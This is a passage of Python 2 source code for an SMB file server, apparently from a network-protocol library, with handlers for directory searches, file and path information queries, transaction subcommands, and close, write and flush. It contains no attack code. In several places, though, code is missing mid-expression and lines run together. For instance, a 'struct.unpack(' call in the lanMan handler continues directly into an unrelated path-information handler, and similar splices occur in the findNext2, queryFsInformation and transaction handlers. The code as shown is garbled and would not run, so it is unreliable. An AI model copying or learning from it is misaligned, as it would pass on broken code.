elif level == smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_FULL_DIRECTORY_INFO:
item = smb.SMBFindFileIdFullDirectoryInfo( flags = flags )
elif level == smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO:
item = smb.SMBFindFileIdBothDirectoryInfo( flags = flags )
elif level == smb.SMB_FIND_FILE_NAMES_INFO or level == smb2.SMB2_FILE_NAMES_INFO:
item = smb.SMBFindFileNamesInfo( flags = flags )
else:
LOG.error("Wrong level %d!" % level)
return searchResult, searchCount, STATUS_NOT_SUPPORTED
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(i)
if os.path.isdir(i):
item['ExtFileAttributes'] = smb.ATTR_DIRECTORY
else:
item['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
item['FileName'] = os.path.basename(i).encode(encoding)
if level == smb.SMB_FIND_FILE_BOTH_DIRECTORY_INFO or level == smb.SMB_FIND_FILE_ID_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_ID_BOTH_DIRECTORY_INFO or level == smb2.SMB2_FILE_BOTH_DIRECTORY_INFO:
item['EaSize'] = 0
item['EndOfFile'] = size
item['AllocationSize'] = size
item['CreationTime'] = getFileTime(ctime)
item['LastAccessTime'] = getFileTime(atime)
item['LastWriteTime'] = getFileTime(mtime)
item['LastChangeTime'] = getFileTime(mtime)
item['ShortName'] = '\x00'*24
item['FileName'] = os.path.basename(i).encode(encoding)
padLen = (8-(len(item) % 8)) % 8
item['NextEntryOffset'] = len(item) + padLen
elif level == smb.SMB_FIND_FILE_DIRECTORY_INFO:
item['EndOfFile'] = size
item['AllocationSize'] = size
item['CreationTime'] = getFileTime(ctime)
item['LastAccessTime'] = getFileTime(atime)
item['LastWriteTime'] = getFileTime(mtime)
item['LastChangeTime'] = getFileTime(mtime)
item['FileName'] = os.path.basename(i).encode(encoding)
padLen = (8-(len(item) % 8)) % 8
item['NextEntryOffset'] = len(item) + padLen
elif level == smb.SMB_FIND_FILE_FULL_DIRECTORY_INFO or level == smb.SMB_FIND_FILE_ID_FULL_DIRECTORY_INFO or level == smb2.SMB2_FULL_DIRECTORY_INFO:
item['EaSize'] = 0
item['EndOfFile'] = size
item['AllocationSize'] = size
item['CreationTime'] = getFileTime(ctime)
item['LastAccessTime'] = getFileTime(atime)
item['LastWriteTime'] = getFileTime(mtime)
item['LastChangeTime'] = getFileTime(mtime)
padLen = (8-(len(item) % 8)) % 8
item['NextEntryOffset'] = len(item) + padLen
elif level == smb.SMB_FIND_INFO_STANDARD:
item['EaSize'] = size
item['CreationDate'] = getSMBDate(ctime)
item['CreationTime'] = getSMBTime(ctime)
item['LastAccessDate'] = getSMBDate(atime)
item['LastAccessTime'] = getSMBTime(atime)
item['LastWriteDate'] = getSMBDate(mtime)
item['LastWriteTime'] = getSMBTime(mtime)
searchResult.append(item)
# No more files
if (level >= smb.SMB_FIND_FILE_DIRECTORY_INFO or isSMB2 == True) and searchCount > 0:
searchResult[-1]['NextEntryOffset'] = 0
return searchResult, searchCount, errorCode
def queryFileInformation(path, filename, level):
#print "queryFileInfo path: %s, filename: %s, level:0x%x" % (path,filename,level)
return queryPathInformation(path,filename, level)
def queryPathInformation(path, filename, level):
# TODO: Depending on the level, this could be done much simpler
#print "queryPathInfo path: %s, filename: %s, level:0x%x" % (path,filename,level)
try:
errorCode = 0
fileName = os.path.normpath(filename.replace('\\','/'))
if len(fileName) > 0 and (fileName[0] == '/' or fileName[0] == '\\') and path != '':
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
if os.path.exists(pathName):
(mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(pathName)
if level == smb.SMB_QUERY_FILE_BASIC_INFO:
infoRecord = smb.SMBQueryFileBasicInfo()
infoRecord['CreationTime'] = getFileTime(ctime)
infoRecord['LastAccessTime'] = getFileTime(atime)
infoRecord['LastWriteTime'] = getFileTime(mtime)
infoRecord['LastChangeTime'] = getFileTime(mtime)
if os.path.isdir(pathName):
infoRecord['ExtFileAttributes'] = smb.ATTR_DIRECTORY
else:
infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
elif level == smb.SMB_QUERY_FILE_STANDARD_INFO:
infoRecord = smb.SMBQueryFileStandardInfo()
infoRecord['AllocationSize'] = size
infoRecord['EndOfFile'] = size
if os.path.isdir(pathName):
infoRecord['Directory'] = 1
else:
infoRecord['Directory'] = 0
elif level == smb.SMB_QUERY_FILE_ALL_INFO or level == smb2.SMB2_FILE_ALL_INFO:
infoRecord = smb.SMBQueryFileAllInfo()
infoRecord['CreationTime'] = getFileTime(ctime)
infoRecord['LastAccessTime'] = getFileTime(atime)
infoRecord['LastWriteTime'] = getFileTime(mtime)
infoRecord['LastChangeTime'] = getFileTime(mtime)
if os.path.isdir(pathName):
infoRecord['ExtFileAttributes'] = smb.ATTR_DIRECTORY
else:
infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
infoRecord['AllocationSize'] = size
infoRecord['EndOfFile'] = size
if os.path.isdir(pathName):
infoRecord['Directory'] = 1
else:
infoRecord['Directory'] = 0
infoRecord['FileName'] = filename.encode('utf-16le')
elif level == smb2.SMB2_FILE_NETWORK_OPEN_INFO:
infoRecord = smb.SMBFileNetworkOpenInfo()
infoRecord['CreationTime'] = getFileTime(ctime)
infoRecord['LastAccessTime'] = getFileTime(atime)
infoRecord['LastWriteTime'] = getFileTime(mtime)
infoRecord['ChangeTime'] = getFileTime(mtime)
infoRecord['AllocationSize'] = size
infoRecord['EndOfFile'] = size
if os.path.isdir(pathName):
infoRecord['FileAttributes'] = smb.ATTR_DIRECTORY
else:
infoRecord['FileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE
elif level == smb.SMB_QUERY_FILE_EA_INFO or level == smb2.SMB2_FILE_EA_INFO:
infoRecord = smb.SMBQueryFileEaInfo()
elif level == smb2.SMB2_FILE_STREAM_INFO:
infoRecord = smb.SMBFileStreamInformation()
else:
LOG.error('Unknown level for query path info! 0x%x' % level)
# UNSUPPORTED
return None, STATUS_NOT_SUPPORTED
return infoRecord, errorCode
else:
# NOT FOUND
return None, STATUS_OBJECT_NAME_NOT_FOUND
except Exception, e:
LOG.error('queryPathInfo: %s' % e)
raise
def queryDiskInformation(path):
# TODO: Do something useful here :)
# For now we just return fake values
totalUnits = 65535
freeUnits = 65535
return totalUnits, freeUnits
# Here we implement the NT transaction handlers
class NTTRANSCommands:
def default(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
pass
# Here we implement the NT transaction handlers
class TRANSCommands:
@staticmethod
def lanMan(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
# Minimal [MS-RAP] implementation, just to return the shares
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
errorCode = STATUS_SUCCESS
if struct.unpack(' 0 and (fileName[0] == '/' or fileName[0] == '\\') and path != '':
# strip leading '/'
fileName = fileName[1:]
pathName = os.path.join(path,fileName)
if os.path.exists(pathName):
informationLevel = setPathInfoParameters['InformationLevel']
if informationLevel == smb.SMB_SET_FILE_BASIC_INFO:
infoRecord = smb.SMBSetFileBasicInfo(data)
# Creation time won't be set, the other ones we play with.
atime = infoRecord['LastAccessTime']
if atime == 0:
atime = -1
else:
atime = getUnixTime(atime)
mtime = infoRecord['LastWriteTime']
if mtime == 0:
mtime = -1
else:
mtime = getUnixTime(mtime)
if mtime != -1 or atime != -1:
os.utime(pathName,(atime,mtime))
else:
smbServer.log('Unknown level for set path info! 0x%x' % setPathInfoParameters['InformationLevel'], logging.ERROR)
# UNSUPPORTED
errorCode = STATUS_NOT_SUPPORTED
else:
errorCode = STATUS_OBJECT_NAME_NOT_FOUND
if errorCode == STATUS_SUCCESS:
respParameters = smb.SMBSetPathInformationResponse_Parameters()
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
@staticmethod
def setFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
errorCode = STATUS_SUCCESS
setFileInfoParameters = smb.SMBSetFileInformation_Parameters(parameters)
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
if connData['OpenedFiles'].has_key(setFileInfoParameters['FID']):
fileName = connData['OpenedFiles'][setFileInfoParameters['FID']]['FileName']
informationLevel = setFileInfoParameters['InformationLevel']
if informationLevel == smb.SMB_SET_FILE_DISPOSITION_INFO:
infoRecord = smb.SMBSetFileDispositionInfo(parameters)
if infoRecord['DeletePending'] > 0:
# Mark this file for removal after closed
connData['OpenedFiles'][setFileInfoParameters['FID']]['DeleteOnClose'] = True
respParameters = smb.SMBSetFileInformationResponse_Parameters()
elif informationLevel == smb.SMB_SET_FILE_BASIC_INFO:
infoRecord = smb.SMBSetFileBasicInfo(data)
# Creation time won't be set, the other ones we play with.
atime = infoRecord['LastAccessTime']
if atime == 0:
atime = -1
else:
atime = getUnixTime(atime)
mtime = infoRecord['LastWriteTime']
if mtime == 0:
mtime = -1
else:
mtime = getUnixTime(mtime)
os.utime(fileName,(atime,mtime))
elif informationLevel == smb.SMB_SET_FILE_END_OF_FILE_INFO:
fileHandle = connData['OpenedFiles'][setFileInfoParameters['FID']]['FileHandle']
infoRecord = smb.SMBSetFileEndOfFileInfo(data)
if infoRecord['EndOfFile'] > 0:
os.lseek(fileHandle, infoRecord['EndOfFile']-1, 0)
os.write(fileHandle, '\x00')
else:
smbServer.log('Unknown level for set file info! 0x%x' % setFileInfoParameters['InformationLevel'], logging.ERROR)
# UNSUPPORTED
errorCode = STATUS_NOT_SUPPORTED
else:
errorCode = STATUS_NO_SUCH_FILE
if errorCode == STATUS_SUCCESS:
respParameters = smb.SMBSetFileInformationResponse_Parameters()
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
@staticmethod
def queryFileInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
queryFileInfoParameters = smb.SMBQueryFileInformation_Parameters(parameters)
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
if connData['OpenedFiles'].has_key(queryFileInfoParameters['FID']):
fileName = connData['OpenedFiles'][queryFileInfoParameters['FID']]['FileName']
infoRecord, errorCode = queryFileInformation('', fileName, queryFileInfoParameters['InformationLevel'])
if infoRecord is not None:
respParameters = smb.SMBQueryFileInformationResponse_Parameters()
respData = infoRecord
else:
errorCode = STATUS_INVALID_HANDLE
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
@staticmethod
def queryPathInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
errorCode = 0
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
try:
infoRecord, errorCode = queryPathInformation(path, decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']), queryPathInfoParameters['InformationLevel'])
except Exception, e:
smbServer.log("queryPathInformation: %s" % e,logging.ERROR)
if infoRecord is not None:
respParameters = smb.SMBQueryPathInformationResponse_Parameters()
respData = infoRecord
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
@staticmethod
def queryFsInformation(connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
connData = smbServer.getConnectionData(connId)
errorCode = 0
# Get the Tid associated
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
data = queryFsInformation(connData['ConnectedShares'][recvPacket['Tid']]['path'], '', struct.unpack('= maxDataCount or (i[0]+1) >= findNext2Parameters['SearchCount']:
# We gotta stop here and continue on a find_next2
endOfSearch = 0
connData['SIDs'][sid] = searchResult[i[0]:]
respParameters['LastNameOffset'] = totalData
break
else:
searchCount +=1
respData += data
totalData += lenData
# Have we reached the end of the search or still stuff to send?
if endOfSearch > 0:
# Let's remove the SID from our ConnData
del(connData['SIDs'][sid])
respParameters['EndOfSearch'] = endOfSearch
respParameters['SearchCount'] = searchCount
else:
errorCode = STATUS_INVALID_HANDLE
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
@staticmethod
def findFirst2(connId, smbServer, recvPacket, parameters, data, maxDataCount):
connData = smbServer.getConnectionData(connId)
respSetup = ''
respParameters = ''
respData = ''
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
searchResult, searchCount, errorCode = findFirst2(path,
decodeSMBString( recvPacket['Flags2'], findFirst2Parameters['FileName'] ),
findFirst2Parameters['InformationLevel'],
findFirst2Parameters['SearchAttributes'] )
respParameters = smb.SMBFindFirst2Response_Parameters()
endOfSearch = 1
sid = 0x80 # default SID
searchCount = 0
totalData = 0
for i in enumerate(searchResult):
#i[1].dump()
data = i[1].getData()
lenData = len(data)
if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
# We gotta stop here and continue on a find_next2
endOfSearch = 0
# Simple way to generate a fid
if len(connData['SIDs']) == 0:
sid = 1
else:
sid = connData['SIDs'].keys()[-1] + 1
# Store the remaining search results in the ConnData SID
connData['SIDs'][sid] = searchResult[i[0]:]
respParameters['LastNameOffset'] = totalData
break
else:
searchCount +=1
respData += data
padLen = (8-(lenData % 8)) %8
respData += '\xaa'*padLen
totalData += lenData + padLen
respParameters['SID'] = sid
respParameters['EndOfSearch'] = endOfSearch
respParameters['SearchCount'] = searchCount
else:
errorCode = STATUS_SMB_BAD_TID
smbServer.setConnectionData(connId, connData)
return respSetup, respParameters, respData, errorCode
# Here we implement the commands handlers
class SMBCommands:
@staticmethod
def smbTransaction(connId, smbServer, SMBCommand, recvPacket, transCommands):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(recvPacket['Command'])
transParameters= smb.SMBTransaction_Parameters(SMBCommand['Parameters'])
# Do the stuff
if transParameters['ParameterCount'] != transParameters['TotalParameterCount']:
# TODO: Handle partial parameters
raise Exception("Unsupported partial parameters in TRANSACT2!")
else:
transData = smb.SMBTransaction_SData(flags = recvPacket['Flags2'])
# Standard says servers shouldn't trust Parameters and Data comes
# in order, so we have to parse the offsets, ugly
paramCount = transParameters['ParameterCount']
transData['Trans_ParametersLength'] = paramCount
dataCount = transParameters['DataCount']
transData['Trans_DataLength'] = dataCount
transData.fromString(SMBCommand['Data'])
if transParameters['ParameterOffset'] > 0:
paramOffset = transParameters['ParameterOffset'] - 63 - transParameters['SetupLength']
transData['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount]
else:
transData['Trans_Parameters'] = ''
if transParameters['DataOffset'] > 0:
dataOffset = transParameters['DataOffset'] - 63 - transParameters['SetupLength']
transData['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
else:
transData['Trans_Data'] = ''
# Call the handler for this TRANSACTION
if transParameters['SetupCount'] == 0:
# No subcommand, let's play with the Name
command = decodeSMBString(recvPacket['Flags2'],transData['Name'])
else:
command = struct.unpack(' 0 or remainingParameters > 0:
respSMBCommand = smb.SMBCommand(recvPacket['Command'])
respParameters = smb.SMBTransactionResponse_Parameters()
respData = smb.SMBTransaction2Response_Data()
respParameters['TotalParameterCount'] = len(parameters)
respParameters['ParameterCount'] = len(parameters)
respData['Trans_ParametersLength'] = len(parameters)
respParameters['TotalDataCount'] = len(data)
respParameters['DataDisplacement'] = dataDisplacement
# TODO: Do the same for parameters
if len(data) > transParameters['MaxDataCount']:
# Answer doesn't fit in this packet
LOG.debug("Lowering answer from %d to %d" % (len(data),transParameters['MaxDataCount']) )
respParameters['DataCount'] = transParameters['MaxDataCount']
else:
respParameters['DataCount'] = len(data)
respData['Trans_DataLength'] = respParameters['DataCount']
respParameters['SetupCount'] = len(setup)
respParameters['Setup'] = setup
# TODO: Make sure we're calculating the pad right
if len(parameters) > 0:
#padLen = 4 - (55 + len(setup)) % 4
padLen = (4 - (55 + len(setup)) % 4 ) % 4
padBytes = '\xFF' * padLen
respData['Pad1'] = padBytes
respParameters['ParameterOffset'] = 55 + len(setup) + padLen
else:
padLen = 0
respParameters['ParameterOffset'] = 0
respData['Pad1'] = ''
if len(data) > 0:
#pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4
pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4
respData['Pad2'] = '\xFF' * pad2Len
respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len
else:
respParameters['DataOffset'] = 0
respData['Pad2'] = ''
respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']]
respData['Trans_Data'] = data[:respParameters['DataCount']]
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
data = data[respParameters['DataCount']:]
remainingData -= respParameters['DataCount']
dataDisplacement += respParameters['DataCount'] + 1
parameters = parameters[respParameters['ParameterCount']:]
remainingParameters -= respParameters['ParameterCount']
commands.append(respSMBCommand)
smbServer.setConnectionData(connId, connData)
return commands, None, errorCode
else:
smbServer.log("Unsupported Transact command %r" % command, logging.ERROR)
respParameters = ''
respData = ''
errorCode = STATUS_NOT_IMPLEMENTED
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbNTTransact(connId, smbServer, SMBCommand, recvPacket, transCommands):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(recvPacket['Command'])
NTTransParameters= smb.SMBNTTransaction_Parameters(SMBCommand['Parameters'])
# Do the stuff
if NTTransParameters['ParameterCount'] != NTTransParameters['TotalParameterCount']:
# TODO: Handle partial parameters
raise Exception("Unsupported partial parameters in NTTrans!")
else:
NTTransData = smb.SMBNTTransaction_Data()
# Standard says servers shouldn't trust Parameters and Data comes
# in order, so we have to parse the offsets, ugly
paramCount = NTTransParameters['ParameterCount']
NTTransData['NT_Trans_ParametersLength'] = paramCount
dataCount = NTTransParameters['DataCount']
NTTransData['NT_Trans_DataLength'] = dataCount
if NTTransParameters['ParameterOffset'] > 0:
paramOffset = NTTransParameters['ParameterOffset'] - 73 - NTTransParameters['SetupLength']
NTTransData['NT_Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount]
else:
NTTransData['NT_Trans_Parameters'] = ''
if NTTransParameters['DataOffset'] > 0:
dataOffset = NTTransParameters['DataOffset'] - 73 - NTTransParameters['SetupLength']
NTTransData['NT_Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
else:
NTTransData['NT_Trans_Data'] = ''
# Call the handler for this TRANSACTION
command = NTTransParameters['Function']
if transCommands.has_key(command):
# Call the NT TRANS subcommand
setup = ''
parameters = ''
data = ''
try:
setup, parameters, data, errorCode = transCommands[command](connId,
smbServer,
recvPacket,
NTTransData['NT_Trans_Parameters'],
NTTransData['NT_Trans_Data'],
NTTransParameters['MaxDataCount'])
except Exception, e:
smbServer.log('NTTransaction: (0x%x,%s)' % (command, e), logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
#raise
if setup == '' and parameters == '' and data == '':
# Something wen't wrong
respParameters = ''
respData = ''
if errorCode == STATUS_SUCCESS:
errorCode = STATUS_ACCESS_DENIED
else:
# Build the answer
data = str(data)
remainingData = len(data)
parameters = str(parameters)
remainingParameters = len(parameters)
commands = []
dataDisplacement = 0
while remainingData > 0 or remainingParameters > 0:
respSMBCommand = smb.SMBCommand(recvPacket['Command'])
respParameters = smb.SMBNTTransactionResponse_Parameters()
respData = smb.SMBNTTransactionResponse_Data()
respParameters['TotalParameterCount'] = len(parameters)
respParameters['ParameterCount'] = len(parameters)
respData['Trans_ParametersLength'] = len(parameters)
respParameters['TotalDataCount'] = len(data)
respParameters['DataDisplacement'] = dataDisplacement
# TODO: Do the same for parameters
if len(data) > NTTransParameters['MaxDataCount']:
# Answer doesn't fit in this packet
LOG.debug("Lowering answer from %d to %d" % (len(data),NTTransParameters['MaxDataCount']) )
respParameters['DataCount'] = NTTransParameters['MaxDataCount']
else:
respParameters['DataCount'] = len(data)
respData['NT_Trans_DataLength'] = respParameters['DataCount']
respParameters['SetupCount'] = len(setup)
respParameters['Setup'] = setup
# TODO: Make sure we're calculating the pad right
if len(parameters) > 0:
#padLen = 4 - (71 + len(setup)) % 4
padLen = (4 - (73 + len(setup)) % 4 ) % 4
padBytes = '\xFF' * padLen
respData['Pad1'] = padBytes
respParameters['ParameterOffset'] = 73 + len(setup) + padLen
else:
padLen = 0
respParameters['ParameterOffset'] = 0
respData['Pad1'] = ''
if len(data) > 0:
#pad2Len = 4 - (71 + len(setup) + padLen + len(parameters)) % 4
pad2Len = (4 - (73 + len(setup) + padLen + len(parameters)) % 4) % 4
respData['Pad2'] = '\xFF' * pad2Len
respParameters['DataOffset'] = 73 + len(setup) + padLen + len(parameters) + pad2Len
else:
respParameters['DataOffset'] = 0
respData['Pad2'] = ''
respData['NT_Trans_Parameters'] = parameters[:respParameters['ParameterCount']]
respData['NT_Trans_Data'] = data[:respParameters['DataCount']]
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
data = data[respParameters['DataCount']:]
remainingData -= respParameters['DataCount']
dataDisplacement += respParameters['DataCount'] + 1
parameters = parameters[respParameters['ParameterCount']:]
remainingParameters -= respParameters['ParameterCount']
commands.append(respSMBCommand)
smbServer.setConnectionData(connId, connData)
return commands, None, errorCode
else:
#smbServer.log("Unsupported NTTransact command 0x%x" % command, logging.ERROR)
respParameters = ''
respData = ''
errorCode = STATUS_NOT_IMPLEMENTED
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbTransaction2(connId, smbServer, SMBCommand, recvPacket, transCommands):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(recvPacket['Command'])
trans2Parameters= smb.SMBTransaction2_Parameters(SMBCommand['Parameters'])
# Do the stuff
if trans2Parameters['ParameterCount'] != trans2Parameters['TotalParameterCount']:
# TODO: Handle partial parameters
#print "Unsupported partial parameters in TRANSACT2!"
raise Exception("Unsupported partial parameters in TRANSACT2!")
else:
trans2Data = smb.SMBTransaction2_Data()
# Standard says servers shouldn't trust Parameters and Data comes
# in order, so we have to parse the offsets, ugly
paramCount = trans2Parameters['ParameterCount']
trans2Data['Trans_ParametersLength'] = paramCount
dataCount = trans2Parameters['DataCount']
trans2Data['Trans_DataLength'] = dataCount
if trans2Parameters['ParameterOffset'] > 0:
paramOffset = trans2Parameters['ParameterOffset'] - 63 - trans2Parameters['SetupLength']
trans2Data['Trans_Parameters'] = SMBCommand['Data'][paramOffset:paramOffset+paramCount]
else:
trans2Data['Trans_Parameters'] = ''
if trans2Parameters['DataOffset'] > 0:
dataOffset = trans2Parameters['DataOffset'] - 63 - trans2Parameters['SetupLength']
trans2Data['Trans_Data'] = SMBCommand['Data'][dataOffset:dataOffset + dataCount]
else:
trans2Data['Trans_Data'] = ''
# Call the handler for this TRANSACTION
command = struct.unpack(' 0 or remainingParameters > 0:
respSMBCommand = smb.SMBCommand(recvPacket['Command'])
respParameters = smb.SMBTransaction2Response_Parameters()
respData = smb.SMBTransaction2Response_Data()
respParameters['TotalParameterCount'] = len(parameters)
respParameters['ParameterCount'] = len(parameters)
respData['Trans_ParametersLength'] = len(parameters)
respParameters['TotalDataCount'] = len(data)
respParameters['DataDisplacement'] = dataDisplacement
# TODO: Do the same for parameters
if len(data) > trans2Parameters['MaxDataCount']:
# Answer doesn't fit in this packet
LOG.debug("Lowering answer from %d to %d" % (len(data),trans2Parameters['MaxDataCount']) )
respParameters['DataCount'] = trans2Parameters['MaxDataCount']
else:
respParameters['DataCount'] = len(data)
respData['Trans_DataLength'] = respParameters['DataCount']
respParameters['SetupCount'] = len(setup)
respParameters['Setup'] = setup
# TODO: Make sure we're calculating the pad right
if len(parameters) > 0:
#padLen = 4 - (55 + len(setup)) % 4
padLen = (4 - (55 + len(setup)) % 4 ) % 4
padBytes = '\xFF' * padLen
respData['Pad1'] = padBytes
respParameters['ParameterOffset'] = 55 + len(setup) + padLen
else:
padLen = 0
respParameters['ParameterOffset'] = 0
respData['Pad1'] = ''
if len(data) > 0:
#pad2Len = 4 - (55 + len(setup) + padLen + len(parameters)) % 4
pad2Len = (4 - (55 + len(setup) + padLen + len(parameters)) % 4) % 4
respData['Pad2'] = '\xFF' * pad2Len
respParameters['DataOffset'] = 55 + len(setup) + padLen + len(parameters) + pad2Len
else:
respParameters['DataOffset'] = 0
respData['Pad2'] = ''
respData['Trans_Parameters'] = parameters[:respParameters['ParameterCount']]
respData['Trans_Data'] = data[:respParameters['DataCount']]
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
data = data[respParameters['DataCount']:]
remainingData -= respParameters['DataCount']
dataDisplacement += respParameters['DataCount'] + 1
parameters = parameters[respParameters['ParameterCount']:]
remainingParameters -= respParameters['ParameterCount']
commands.append(respSMBCommand)
smbServer.setConnectionData(connId, connData)
return commands, None, errorCode
else:
smbServer.log("Unsupported Transact/2 command 0x%x" % command, logging.ERROR)
respParameters = ''
respData = ''
errorCode = STATUS_NOT_IMPLEMENTED
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComLockingAndX(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_LOCKING_ANDX)
respParameters = ''
respData = ''
# I'm actually doing nothing.. just make MacOS happy ;)
errorCode = STATUS_SUCCESS
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComClose(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_CLOSE)
respParameters = ''
respData = ''
comClose = smb.SMBClose_Parameters(SMBCommand['Parameters'])
if connData['OpenedFiles'].has_key(comClose['FID']):
errorCode = STATUS_SUCCESS
fileHandle = connData['OpenedFiles'][comClose['FID']]['FileHandle']
try:
if fileHandle == PIPE_FILE_DESCRIPTOR:
connData['OpenedFiles'][comClose['FID']]['Socket'].close()
elif fileHandle != VOID_FILE_DESCRIPTOR:
os.close(fileHandle)
except Exception, e:
smbServer.log("comClose %s" % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
# Check if the file was marked for removal
if connData['OpenedFiles'][comClose['FID']]['DeleteOnClose'] is True:
try:
os.remove(connData['OpenedFiles'][comClose['FID']]['FileName'])
except Exception, e:
smbServer.log("comClose %s" % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
del(connData['OpenedFiles'][comClose['FID']])
else:
errorCode = STATUS_INVALID_HANDLE
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComWrite(connId, smbServer, SMBCommand, recvPacket):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_WRITE)
respParameters = smb.SMBWriteResponse_Parameters()
respData = ''
comWriteParameters = smb.SMBWrite_Parameters(SMBCommand['Parameters'])
comWriteData = smb.SMBWrite_Data(SMBCommand['Data'])
if connData['OpenedFiles'].has_key(comWriteParameters['Fid']):
fileHandle = connData['OpenedFiles'][comWriteParameters['Fid']]['FileHandle']
errorCode = STATUS_SUCCESS
try:
if fileHandle != PIPE_FILE_DESCRIPTOR:
# TODO: Handle big size files
# If we're trying to write past the file end we just skip the write call (Vista does this)
if os.lseek(fileHandle, 0, 2) >= comWriteParameters['Offset']:
os.lseek(fileHandle,comWriteParameters['Offset'],0)
os.write(fileHandle,comWriteData['Data'])
else:
sock = connData['OpenedFiles'][comWriteParameters['Fid']]['Socket']
sock.send(comWriteData['Data'])
respParameters['Count'] = comWriteParameters['Count']
except Exception, e:
smbServer.log('smbComWrite: %s' % e, logging.ERROR)
errorCode = STATUS_ACCESS_DENIED
else:
errorCode = STATUS_INVALID_HANDLE
if errorCode > 0:
respParameters = ''
respData = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
@staticmethod
def smbComFlush(connId, smbServer, SMBCommand,recvPacket ):
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_FLUSH)
respParameters = ''
respData = ''
comFlush = smb.SMBFlush_Parameters(SMBCommand['Parameters'])
if connData['OpenedFiles'].has_key(comFlush['FID']):
errorCode = STATUS_SUCCESS
fileHandle = connData['OpenedFiles'][comFlush['FID']]['FileHandle']
try:
os.fsync(fileHandle)
except Exception, e:
smbServer.log("comFlush %s" % e, logging.ERROR)
